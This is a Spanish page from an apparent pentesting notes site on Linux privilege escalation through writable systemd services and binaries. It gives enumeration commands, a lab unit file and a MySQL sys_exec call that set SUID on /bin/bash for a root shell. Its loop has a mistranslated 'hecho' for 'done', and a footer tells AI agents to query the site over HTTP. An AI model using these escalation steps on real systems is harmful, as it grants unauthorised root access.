> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/services.md).

# Servicios y systemd

Las configuraciones erróneas de servicios se convierten en vías de escalada de privilegios cuando un usuario con pocos privilegios puede editar un archivo de servicio, reemplazar un binario de servicio, controlar argumentos del servicio o escribir en un directorio utilizado por un daemon que se ejecuta como root.

## Metodología

* Identifica los servicios que se ejecutan como root.
* Revisa los archivos de unidad, `ExecStart` binarios, archivos de entorno y directorios de trabajo.
* Busca archivos de servicio escribibles o binarios escribibles utilizados por servicios habilitados.
* Confirma si puedes reiniciar el servicio, activarlo indirectamente o esperar a un reinicio/temporizador.

## Comprobaciones rápidas

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## Archivos de servicio escribibles

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## Binarios de servicio escribibles

Este bucle comprueba los servicios habilitados y resalta `ExecStart` rutas que no parecen pertenecer a root. Trata la salida como una primera criba y luego valida manualmente.

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
hecho
```

## Ideas de explotación

| Condición                                           | Ruta de abuso                                                                                         |
| --------------------------------------------------- | ----------------------------------------------------------------------------------------------------- |
| Escribible `ExecStart` binario                      | Reemplaza el binario con un payload y luego reinicia o espera a que se ejecute el servicio.           |
| Archivo de unidad escribible                        | Cambia `ExecStart` para ejecutar un comando controlado.                                               |
| Archivo de entorno escribible                       | Inyecta opciones o rutas consumidas por el servicio.                                                  |
| Directorio de trabajo escribible                    | Abusa de rutas relativas, complementos, registros, sockets o archivos temporales.                     |
| El servicio se ejecuta como root y analiza archivos | Busca errores del parser, inyección de comandos, inclusiones inseguras y configuraciones escribibles. |

Ejemplo de payload de unidad para un laboratorio:

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

Recarga e inicia solo cuando tengas permiso o una ruta de prueba autorizada y confirmada:

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## MySQL ejecutándose como root

Si MySQL o MariaDB se ejecuta como root y está disponible una ejecución peligrosa de UDF/funciones, puede convertirse en una vía directa a root.

```bash
ps aux | grep -i mysql
mysql -u root -p
```

Dentro de MySQL, según los complementos/funciones disponibles:

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

Luego:

```bash
/bin/bash -p
```

Esto depende mucho del entorno. Confirma el usuario del daemon, la disponibilidad de complementos y los privilegios exactos de la base de datos antes de confiar en ello.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/services.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
